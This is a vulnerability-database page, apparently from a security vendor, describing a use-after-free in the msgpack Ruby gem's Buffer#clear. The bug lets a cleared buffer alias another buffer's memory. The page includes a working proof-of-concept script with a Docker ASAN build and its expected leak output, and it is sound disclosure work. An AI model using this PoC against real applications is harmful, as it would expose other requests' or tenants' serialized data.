🛡️ CVE-2026-54522 — messagepack

🟡 CVSS 5.4 — Medium ⚠️ Exploit Public CWE-416 NVD
5.4
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

  • msgpack_buffer_clear()_msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
  • Next Buffer#write_msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
  • A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
  • Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

```bash

set -e

WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC

cat > poc.rb <<'RUBY'

b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)

b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)

b1.clear

b1.write('C' * 128)

secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)

b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)

b2.write(secret)

leaked = b1.read_all

donor = b2.read_all

puts 'b1_first64:' + leaked.byteslice(0, 64)

puts 'b2_donor64:' + donor.byteslice(200, 64)

puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s

puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s

RUBY

# 2) ASAN build of msgpackfrom rubygems

cat > Dockerfile <<'DOCKER'

FROM ruby:3.3-bookworm

RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*

RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \

cd msgpack-1.8.1/ext/msgpack && \

MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \

make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so

DOCKER

docker build -t msgpack-asan-poc .

# 3) Run under ASAN

docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \

bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

```

Expected output:

```

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD

b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD

leaked_is_C:false

cross_buffer_match:true

```

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability none.

Weakness class

CVE-2026-54522 is classified as CWE-416: Use After Free. Memory is used after being released, so its contents may already belong to something else.

Affected software

CVE-2026-54522 is recorded against 2 packages.

  • messagepack (fixed in 1.8.2)
  • msgpack (fixed in 1.8.2)

Timeline and source

Published on 30 July 2026 and last revised on 5 August 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
github.com

Details

Severity MEDIUM
CVSS Score 5.4
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
CWE CWE-416
Public Exploit ⚠️ Yes
Source NVD
Published 2026-07-30
Updated 2026-08-12
Modified 2026-08-05

Affected Packages

Software From version Fixed in
messagepack 1.8.2
msgpack 1.8.2

Similar Threats

Exploit Protection

Are you running messagepack?

CVE-2026-54522 carries CVSS 5.4 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-54522 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.